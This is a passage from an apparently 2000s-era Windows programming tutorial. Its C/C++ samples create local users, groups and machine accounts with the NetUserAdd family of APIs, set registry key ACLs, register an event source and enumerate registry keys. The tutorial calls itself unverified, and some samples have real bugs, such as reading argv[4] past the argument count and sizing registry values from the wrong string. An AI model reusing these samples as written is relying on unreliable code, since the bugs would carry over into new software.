fwprintf(stderr, L"%s has been added successfully to %s group on %s machine.\n", argv[3], argv[2], argv[1]);

// Otherwise, print the system error.


else
fwprintf(stderr, L"A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------------

//********* myuserprog.cpp **********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, username and password.


// It is run on local WinXp machine so the servername is the
// local WinXp machine name or you can use NULL for the 1st parameter
// of the NetUserAdd() and arguments, should be without the servername.
int wmain(int argc, wchar_t *argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other argc and argv[] array element appropriately.
exit(1);
}

// Set up the USER_INFO_1 structure.


// USER_PRIV_USER: name identifies an normal user
// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.
ui.usri1_name = argv[2]; // Username entered through command line
ui.usri1_password = argv[4]; // Password
ui.usri1_priv = USER_PRIV_USER; // As a normal/restricted user
ui.usri1_home_dir = NULL; // No home directory
ui.usri1_comment = L"This is a test normal user account using NetUserAdd"; // Comment
ui.usri1_flags = UF_SCRIPT; // Must be UF_SCRIPT

file:///C|/Tutorial.txt (749 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ui.usri1_script_path = NULL; // No script path

// Call the NetUserAdd() function, specifying level 1.


nStatus = NetUserAdd(argv[1],
dwLevel,
(LPBYTE)&ui,
&dwError);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
{
fwprintf(stderr, L"%s user has been successfully added on %s machine.\n", argv[2], argv[1]);
fwprintf(stderr, L"Username: %s password: %s.\n", argv[2], argv[3]);
}
// Otherwise, print the system error.
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------

//********* myuserproglg.cpp **********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, GroupName and Comment.


int wmain(int argc, wchar_t *argv[])
{
LOCALGROUP_INFO_1 lgi1;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName Comment\n", argv[0]);
// Just exit, no further processing
exit(1);
}

// Set up the LOCALGROUP_INFO_1 structure.


// Assign the group name and comment
lgi1.lgrpi1_name = argv[2]; // Local group name
lgi1.lgrpi1_comment = argv[3]; // Comment

// Call the NetLocalGroupAdd() function, specifying level 1.

file:///C|/Tutorial.txt (750 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

nStatus = NetLocalGroupAdd(argv[1],
dwLevel,
(LPBYTE)&lgi1,
&dwError);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
fwprintf(stderr, L"%s local group has been created successfully on %s machine.\n", argv[2], argv[1]);

// Otherwise, print the system error.


else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//********* myusrgrp.cpp ************


// Network management functions have their own
// error codes...
#define WIN32_WINNT 0x0500
#define UNICODE 1
#include <windows.h>
#include <lmcons.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <lmapibuf.h>
#include <stdio.h>
#include <stdlib.h>

NET_API_STATUS MyTestNet(LPWSTR lpszDomain,


LPWSTR lpszUser,
LPWSTR lpszPassword,
LPWSTR lpszLocalGroup )
{

USER_INFO_1 user_info;
LOCALGROUP_INFO_1 localgroup_info;
LOCALGROUP_MEMBERS_INFO_3 localgroup_members;
LPWSTR lpszPrimaryDC = L"mawar";
NET_API_STATUS err = 0;
DWORD parm_err = 0;

// First get the name of the primary domain controller.


// Make sure to free the returned buffer.
err = NetGetDCName(L"mawar", // Local machine
lpszDomain, // Domain name, if NULL use lpszPrimaryDC
(LPBYTE *)&lpszPrimaryDC ); // Returned PDC

if(err != 0)
{
printf("Error getting DC name: %d\n", err);
return(err);
}

file:///C|/Tutorial.txt (751 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Set up the USER_INFO_1 structure.


user_info.usri1_name = lpszUser;
user_info.usri1_password = lpszPassword;
user_info.usri1_priv = USER_PRIV_USER;
user_info.usri1_home_dir = TEXT("");
user_info.usri1_comment = TEXT("This is just a sample user lol!");
user_info.usri1_flags = UF_SCRIPT;
user_info.usri1_script_path = TEXT("");

err = NetUserAdd(lpszPrimaryDC, // PDC name


1, // Level, use other level for more information
(LPBYTE)&user_info, // Input buffer
&parm_err); // Parameter in error

switch (err)
{
case 0:
printf("%ls user successfully created.\n", user_info.usri1_name);
break;
case NERR_UserExists:
printf("%ls user already exists.\n", user_info.usri1_name);
err = 0;
break;
case ERROR_INVALID_PARAMETER:
{
printf("Invalid Parameter Error adding user: Parameter Index = %d\n", parm_err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}
default:
printf("Error adding %ls user: %d\n", user_info.usri1_name, err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}

// Set up the LOCALGROUP_INFO_1 structure.


localgroup_info.lgrpi1_name = lpszLocalGroup;
localgroup_info.lgrpi1_comment = TEXT("This is just a sample Local group.");

err = NetLocalGroupAdd(lpszPrimaryDC, // PDC name


1, // Level
(LPBYTE)&localgroup_info, // Input buffer
&parm_err); // Parameter in error

switch (err)
{
case 0:
printf("%ls Local Group successfully created.\n", localgroup_info.lgrpi1_name);
break;
case ERROR_ALIAS_EXISTS:
printf("%ls Local Group already exists.\n", localgroup_info.lgrpi1_name);
err = 0;
break;
case ERROR_INVALID_PARAMETER:
{
printf("Invalid Parameter Error adding Local Group: Parameter Index = %d\n", err, parm_err);

file:///C|/Tutorial.txt (752 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

NetApiBufferFree(lpszPrimaryDC);
return(err);
}
default:
printf("Error adding %ls Local Group: %d\n", localgroup_info.lgrpi1_name, err);
NetApiBufferFree(lpszPrimaryDC);
return(err);
}

// Now add the user to the local group.


localgroup_members.lgrmi3_domainandname = lpszUser;

err = NetLocalGroupAddMembers(lpszPrimaryDC, // PDC name


lpszLocalGroup, // Group name
3, // Name
(LPBYTE)&localgroup_members, // Buffer
1); // Count

switch(err)
{
case 0:
printf("%ls user successfully added to %ls Local Group.\n", user_info.usri1_name, localgroup_info.lgrpi1_name);
break;
case ERROR_MEMBER_IN_ALIAS:
printf("User %ls already in %ls Local Group.\n", user_info.usri1_name, localgroup_info.lgrpi1_name);
err = 0;
break;
default:
printf("Error adding %ls user to %ls Local Group: %d\n", user_info.usri1_name, localgroup_info.lgrpi1_name, err);
break;
}

NetApiBufferFree(lpszPrimaryDC);
return (err);
}

// This program run at command prompt, receives 4 arguments: The domain name,
// user name (user account), user password and the group name.
int wmain(int argc, wchar_t *argv[])
{
NET_API_STATUS err = 0;

if(argc != 5)
{
printf("Usage: %ls <domain_name> <user_name> <password> <group_name>\n", argv[0]);
exit (-1);
}

printf("Calling MyTestNet(): Create a user and a group then,\n");


printf("add the user to the group.\n");
printf("===================================================.\n");
err = MyTestNet(argv[1], // domain name
argv[2], // user account
argv[3], // password for the user
argv[4]); // group name

file:///C|/Tutorial.txt (753 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("MyTestNet() returned %d\n", err);


return (0);
}

-----------------------------------------------------------------------------------------------------------------

//********* machineacct.cpp *********


// For Win 2000
#define _WIN32_WINNT 0x0500
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

BOOL AddMachineAccount(LPWSTR wTargetComputer, LPWSTR MachineAccount, DWORD AccountType)


{
LPWSTR wAccount;
LPWSTR wPassword;
USER_INFO_1 ui;
DWORD cbAccount;
DWORD cbLength;
DWORD dwError;

// Ensure a valid computer account type was passed.


if(AccountType != UF_WORKSTATION_TRUST_ACCOUNT &&
AccountType != UF_SERVER_TRUST_ACCOUNT &&
AccountType != UF_INTERDOMAIN_TRUST_ACCOUNT)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
else
printf("Computer account type is valid.\n");

// Obtain the number of chars in computer account name.


cbLength = cbAccount = lstrlenW(MachineAccount);

// Ensure computer name doesn't exceed maximum length.


if(cbLength > MAX_COMPUTERNAME_LENGTH)
{
SetLastError(ERROR_INVALID_ACCOUNT_NAME);
return FALSE;
}
else
printf("Computer name length is valid.\n");

// Allocate storage to contain Unicode representation of


// computer account name + trailing $ + NULL.
wAccount = (LPWSTR)HeapAlloc(GetProcessHeap(), 0,
(cbAccount + 1 + 1) * sizeof(WCHAR) // Account + '$' + NULL
);

file:///C|/Tutorial.txt (754 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(wAccount == NULL) return FALSE;


else printf("Memory allocation is OK.\n");

// Password is the computer account name converted to lowercase;


// you will convert the passed MachineAccount in place.
wPassword = MachineAccount;

// Copy MachineAccount to the wAccount buffer allocated while


// converting computer account name to uppercase.
// Convert password (in place) to lowercase.
while(cbAccount--) {
wAccount[cbAccount] = towupper(MachineAccount[cbAccount]);
wPassword[cbAccount] = towlower(wPassword[cbAccount]);
}

// Computer account names have a trailing Unicode '$'.


wAccount[cbLength] = L'$';
wAccount[cbLength + 1] = L'\0'; // terminate the string

// If the password is greater than the max allowed, truncate.


if(cbLength > LM20_PWLEN) wPassword[LM20_PWLEN] = L'\0';
else printf("No truncation was done to the password, the length is OK, max is 14.\n");

// Initialize the USER_INFO_1 structure.


ZeroMemory(&ui, sizeof(ui));

ui.usri1_name = wAccount;
ui.usri1_password = wPassword;
ui.usri1_flags = AccountType | UF_SCRIPT;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_comment = L"A virtual machine created by NetUserAdd()...";

dwError = NetUserAdd(
wTargetComputer, // target computer name
1, // info level
(LPBYTE) &ui, // buffer
NULL
);

// Release the allocated memory.


if(wAccount) HeapFree(GetProcessHeap(), 0, wAccount);

// Indicate whether the function was successful.


if(dwError == NO_ERROR)
{
printf("%ls computer account successfully created on %ls DC.\n", MachineAccount, wTargetComputer);
return TRUE;
}
else
{
SetLastError(dwError);
return FALSE;
}
}

// This program run at command prompt, receives 2 arguments: The target server

file:///C|/Tutorial.txt (755 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// and the machine account name.


int wmain(int argc, wchar_t *argv[])
{

if(argc != 3)
{
printf("Usage: %s <TargetComputer> <MachineAccount/Password>.\n", argv[0]);
exit (-1);
}

DWORD AccountType = UF_WORKSTATION_TRUST_ACCOUNT;

BOOL Test = AddMachineAccount(argv[1], argv[2], AccountType);


printf("The return value is: %u\n", Test);

return 0;
}

==============================ModuleO=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

// Creating a security descriptor for a new object,


// a registry key and then delete the key...
// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family
// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0
// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95

#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

// Buffer clean up routine


void Cleanup(PSID pEveryoneSID, PSID pAdminSID, PACL pACL, PSECURITY_DESCRIPTOR pSD, HKEY hkSub)
{

file:///C|/Tutorial.txt (756 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(pEveryoneSID)
FreeSid(pEveryoneSID);
if(pAdminSID)
FreeSid(pAdminSID);
if(pACL)
LocalFree(pACL);
if(pSD)
LocalFree(pSD);
if(hkSub)
RegCloseKey(hkSub);
}

int main(int argc, char *argv[])


{
DWORD dwRes, dwDisposition;
PSID pEveryoneSID = NULL, pAdminSID = NULL;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
// An array of EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea[2];
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
SECURITY_ATTRIBUTES sa;
LONG lRes;
HKEY hkSub = NULL;

// Create a well-known SID for the Everyone group.


if(!AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID,
0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("AllocateAndInitializeSid() for the Everyone group is OK\n");

// Initialize an EXPLICIT_ACCESS structure for an ACE.


// The ACE will allow Everyone read access to the key.
ZeroMemory(&ea, 2 * sizeof(EXPLICIT_ACCESS));
ea[0].grfAccessPermissions = KEY_READ;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance= NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea[0].Trustee.ptstrName = (LPTSTR) pEveryoneSID;

// Create a SID for the BUILTIN\Administrators group.


if(!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("AllocateAndInitializeSid() for the BUILTIN\\Administrators group is OK\n");

file:///C|/Tutorial.txt (757 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Initialize an EXPLICIT_ACCESS structure for an ACE.


// The ACE will allow the Administrators group full access to the key.
ea[1].grfAccessPermissions = KEY_ALL_ACCESS;
ea[1].grfAccessMode = SET_ACCESS;
ea[1].grfInheritance= NO_INHERITANCE;
ea[1].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[1].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea[1].Trustee.ptstrName = (LPTSTR) pAdminSID;

// Create a new ACL that contains the new ACEs.


dwRes = SetEntriesInAcl(2, ea, NULL, &pACL);
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("SetEntriesInAcl() for the Administrators group is OK\n");

// Initialize a security descriptor.


pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if(pSD == NULL)
{
printf("LocalAlloc() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("LocalAlloc() is OK\n");

if(!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION))
{
printf("InitializeSecurityDescriptor Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("InitializeSecurityDescriptor() is OK\n");

// Add the ACL to the security descriptor.


if(!SetSecurityDescriptorDacl(pSD,
TRUE, // bDaclPresent flag
pACL,
FALSE)) // not a default DACL
{
printf("SetSecurityDescriptorDacl() Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("SetSecurityDescriptorDacl() is OK\n");

// Initialize a security attributes structure.


sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;

//******************* Registry key **********************


// Use the security attributes to set the security descriptor

file:///C|/Tutorial.txt (758 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// when you create a registry key.


// make the subkey as char...
#define MAX_KEY_NAME 255
char cName[MAX_KEY_NAME] = "AnotherTestKey"; // Change accordingly...
HKEY hKey = HKEY_CURRENT_USER; // Change to other key accordingly...

lRes = RegCreateKeyEx(hKey, // handle to an open key


cName, // name of the subkey
0, // Reserved, must be 0
"", // class or object type of this key, may be ignored
0, // Options
KEY_ALL_ACCESS, // Access right for the key
&sa, // Pointer to security attribute structure, can be inherited
// or not. NULL is not inherited
&hkSub, // variable that receives a handle
// to the opened or created key
&dwDisposition);// variable that receives:
// REG_CREATED_NEW_KEY - create new key (non-exist)
// REG_OPENED_EXISTING_KEY - just open
// the existing key (already exist)
// If successful
if(lRes == 0)
{
printf("The value of the \'&dwDisposition\': %u\n", dwDisposition);
printf("HKEY_CURRENT_USER\\%s successfully created.\n", cName);
}
else
printf("Creating and opening HKEY_CURRENT_USER\\%s is failed.\n", cName);

// TODO: Call other functions such as setting the key values...


// Just to see the key has been created before it is deleted...
// You can verify through the regedit/regedt32...
system("pause");
// Then delete the subkey...
LONG res = RegDeleteKey(
hKey, // The key
cName // The subkey
);
if(res == ERROR_SUCCESS)
printf("HKEY_CURRENT_USER\\%s successfully deleted.\n", cName);

RegCloseKey(hKey);
return 0;
}

----------------------------------------------------------------------------------------------------------------

// WARNING!!!
// If you don't know what you are doing, please don't try
// this code...and don't forget to delete the key or use
// RegDeleteKey()...

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family


// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000

file:///C|/Tutorial.txt (759 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// #define _WIN32_WINNT 0x0400 // Windows NT 4.0


// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95

#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

BOOL AddMyEventSource(
LPTSTR pszLogName, // Application log or a custom log
LPTSTR pszSrcName, // event source name
LPTSTR pszMsgDLL, // path for message DLL
DWORD dwNum) // number of categories
{
HKEY hk;
DWORD dwData;
TCHAR szBuf[MAX_PATH];

// Create the event source as a subkey of the log.


wsprintf(szBuf, "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s", pszLogName, pszSrcName);

//********************************************
// Create the registry key
if(RegCreateKey(HKEY_LOCAL_MACHINE, szBuf, &hk))
{
printf("Could not create the registry key.");
return FALSE;
}
else
printf("SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s created successfully.\n", pszLogName, pszSrcName);

//********************************************
// Set the name of the message file.
if(RegSetValueEx(hk, // subkey handle
"EventMessageFile", // value name
0, // must be zero
REG_EXPAND_SZ, // value type
(LPBYTE) pszMsgDLL, // pointer to value data
(DWORD) lstrlen(szBuf)+1)) // length of value data
{
printf("Could not set the event message file.");
return FALSE;
}
else
printf("The event message file has been set successfully.\n");

// Set the supported event types.


dwData = EVENTLOG_ERROR_TYPE | EVENTLOG_WARNING_TYPE | EVENTLOG_INFORMATION_TYPE;

//********************************************
if(RegSetValueEx(hk, // subkey handle
"TypesSupported", // value name
0, // must be zero
REG_DWORD, // value type
(LPBYTE) &dwData, // pointer to value data

file:///C|/Tutorial.txt (760 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

sizeof(DWORD))) // length of value data


{
printf("Could not set the supported types.");
return FALSE;
}
else
printf("The supported types have been set successfully.\n");

//********************************************************
// Set the category message file and number of categories.
if(RegSetValueEx(hk, // subkey handle
"CategoryMessageFile", // value name
0, // must be zero
REG_EXPAND_SZ, // value type
(LPBYTE) pszMsgDLL, // pointer to value data here we set
// same as "EventMessageFile"
(DWORD) lstrlen(szBuf)+1)) // length of value data
{
printf("Could not set the category message file.");
return FALSE;
}
else
printf("The category message file has been set successfully.\n");

//********************************************
if(RegSetValueEx(hk, // subkey handle
"CategoryCount", // value name
0, // must be zero
REG_DWORD, // value type
(LPBYTE) &dwNum, // pointer to value data
sizeof(DWORD))) // length of value data
{
printf("Could not set the category count.");
return FALSE;
}
else
printf("The category count has been set successfully.\n");
// Close the key
RegCloseKey(hk);

return TRUE;
}

int main(int argc, wchar_t *argv[])


{
// Application log or a custom log. Here we put a custom log just for learning!
LPTSTR pszLogName = "MyCustLogTest";
// The event source name
LPTSTR pszSrcName = "MyEventSrcName";
// The path for message dll, this dll or other executable file must exist lol!
// here, mytestdll.dll just a dummy. You will know it when you restart
// your computer if the created key does not deleted...:o)
LPTSTR pszMsgDLL = "%SystemRoot%\\System32\\mytestdll.dll";
// number of categories.
DWORD dwNum = 0x00000003;

file:///C|/Tutorial.txt (761 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

BOOL test = AddMyEventSource(


pszLogName, // Application log or a custom log. Custom log here...
pszSrcName, // event source name.
pszMsgDLL, // path for message DLL.
dwNum // number of categories.
);
// Just to check the return value...
printf("The AddMyEventSource() return value is: %u\n", test);

return 0;
}

==============================ModuleP=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

// QueryKey() - Enumerates the subkeys of key and its associated values.


// hKey - Key whose subkeys and values are to be enumerated.

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family


// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0
// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95

#include <windows.h>
#include <stdio.h>

#define MAX_KEY_LENGTH 255


#define MAX_VALUE_NAME 16383

void QueryKey(HKEY hKey)


{
CHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
DWORD cbName; // size of name string
CHAR achClass[MAX_PATH] = ""; // buffer for class name
DWORD cchClassName = MAX_PATH; // size of class string
DWORD cSubKeys=0; // number of subkeys

file:///C|/Tutorial.txt (762 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

DWORD cbMaxSubKey; // longest subkey size


DWORD cchMaxClass; // longest class string
DWORD cValues; // number of values for key
DWORD cchMaxValue; // longest value name
DWORD cbMaxValueData; // longest value data
DWORD cbSecurityDescriptor; // size of security descriptor
FILETIME ftLastWriteTime; // last write time

DWORD i, retCode;

CHAR achValue[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;

// Get the class name and the value count.


retCode = RegQueryInfoKey(
hKey, // key handle
achClass, // buffer for class name
&cchClassName, // size of class string
NULL, // reserved
&cSubKeys, // number of subkeys
&cbMaxSubKey, // longest subkey size
&cchMaxClass, // longest class string
&cValues, // number of values for this key
&cchMaxValue, // longest value name
&cbMaxValueData, // longest value data
&cbSecurityDescriptor, // security descriptor
&ftLastWriteTime); // last write time

// Enumerate the subkeys, until RegEnumKeyEx() fails.


if(cSubKeys)
{
printf("Subkey Names:\n");
for(i=0; i<cSubKeys; i++)
{
cbName = MAX_KEY_LENGTH;
retCode = RegEnumKeyEx(
hKey, // Handle to an open/predefined key
i, // Index of the subkey to retrieve.
achKey, // buffer that receives the name of the subkey
&cbName, // size of the buffer specified by the achKey
NULL, // Reserved; must be NULL
NULL, // buffer that receives the class string
// of the enumerated subkey
NULL, // size of the buffer specified by the previous parameter
&ftLastWriteTime // variable that receives the time at which
// the enumerated subkey was last written
);
if(retCode == ERROR_SUCCESS)
{
printf("(%d) %s\n", i+1, achKey);
}
}
printf("Number of subkeys: %d\n\n", cSubKeys);
}
else
printf("RegEnumKeyEx(), there is no subkey.\n");

file:///C|/Tutorial.txt (763 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Enumerate the key values if any.


if(cValues)
{
for(i=0, retCode=ERROR_SUCCESS; i<cValues; i++)
{
cchValue = MAX_VALUE_NAME;
achValue[0] = '\0';
retCode = RegEnumValue(
hKey, // Handle to an open key
i, // Index of value
achValue, // Value name
&cchValue, // Buffer for value name
NULL, // Reserved
NULL, // Value type
NULL, // Value data
NULL); // Buffer for value data

if(retCode == ERROR_SUCCESS)
{
printf("(%d) Value Name: %s.\n", i+1, achValue);
}
}
printf("Number of values: %d\n", cValues);
}
else
printf("No value under this key/subkey...\n");
}

int main(int argc, char *argv[])


{
// Change the key and subkey accordingly...
// Predefined registry keys:
// HKEY_CLASSES_ROOT
// HKEY_CURRENT_CONFIG
// HKEY_CURRENT_USER
// HKEY_LOCAL_MACHINE
// HKEY_PERFORMANCE_DATA
// HKEY_USERS

//*************** open key (and subkey) ******************


HKEY theKey = HKEY_LOCAL_MACHINE; // Key, change accordingly...
HKEY hKey; // Key and subkey

LONG lRet = RegOpenKeyEx(


theKey, // Key
"SYSTEM\\ControlSet001\\Control", // Subkey, change accordingly
0, // Reserved
KEY_ALL_ACCESS, // desired access rights to the key
&hKey // variable that receives a handle to the opened key
);

if(lRet == ERROR_SUCCESS)
printf("RegOpenKeyEx() is OK.\n");
else
printf("RegOpenKeyEx() is not OK.\n");

file:///C|/Tutorial.txt (764 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

QueryKey(hKey);
RegCloseKey(hKey);
return 0;
}

-----------------------------------------------------------------------------------------------------------

// ************ regsize.cpp ******************


// Determines the current and maximum registry size
// For Win XP, run on Win Xp...Change accordingly
// but it is useless here, Win Xp don’t have quota limit :o)
// Just for fun...

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family


// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0
// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95

// This is wide character/UNICODE based program


#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <pdh.h>
// And don't forget to include the pdh.lib into
// this project...

// Function prototype
PDH_STATUS GetRegistrySize(LPTSTR szMachineName, LPDWORD lpdwCurrentSize, LPDWORD lpdwMaximumSize);

// Entry point for the program. This function demonstrates how to


// use the GetRegistrySize() function implemented below.
// It will use the first argument, if present, as the name of the
// computer whose registry you wish to determine. If unspecified,
// it will use the local computer.
int wmain(int argc, TCHAR *argv[])
{

LPTSTR szMachineName = NULL;


PDH_STATUS pdhStatus = 0;
DWORD dwCurrent = 0;
DWORD dwMaximum = 0;

// Allow a computer name to be specified on the command line.


if(argc > 1)
szMachineName = argv[1];

wprintf(TEXT("Usage: %s <computer_name> else default to local computer.\n\n"), argv[0]);

file:///C|/Tutorial.txt (765 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Get the registry size.


pdhStatus = GetRegistrySize(szMachineName, &dwCurrent, &dwMaximum);

// Print the results.


if(pdhStatus == ERROR_SUCCESS)
{
printf("GetRegistrySize() is OK.\n");
wprintf(TEXT("\nCurrent registry size: %ld bytes\n"), dwCurrent);
wprintf(TEXT("Maximum registry size: %ld bytes\n"), dwMaximum);
}
else
{
// If the operation failed, print the PDH error message.
LPTSTR szMessage = NULL;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_HMODULE,
GetModuleHandle(TEXT("PDH.DLL")), pdhStatus,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), szMessage, 0, NULL);

wprintf(TEXT("GetRegistrySize() failed: %s"), szMessage);

LocalFree(szMessage);
}

return 0;
}

// Retrieves the current and maximum registry size. It gets this


// information from the raw counter values for the "% Registry Quota
// In Use" performance counter within the System object.
// PARAMETERS:
// szMachineName - Null-terminated string that specifies the
// name of the computer whose registry you wish to query.
// If this parameter is NULL, the local computer is used.
// lpdwCurrentSize - Receives the current registry size.
// lpdwMaximumSize - Receives the maximum registry size.
// RETURN VALUE:
// ERROR_SUCCESS if successful. Otherwise, the function
// returns a PDH error code. These error codes can be
// found in PDHMSG.H. A textual error message can be
// retrieved from PDH.DLL using the FormatMessage function.
//******************************************************************

PDH_STATUS GetRegistrySize(LPTSTR szMachineName, LPDWORD lpdwCurrentSize, LPDWORD lpdwMaximumSize)


{
PDH_STATUS pdhResult = 0;
TCHAR szCounterPath[1024];
DWORD dwPathSize = 1024;
PDH_COUNTER_PATH_ELEMENTS pe;
PDH_RAW_COUNTER pdhRawValues;
HQUERY hQuery = NULL;
HCOUNTER hCounter = NULL;
DWORD dwType = 0;

// Open PDH query


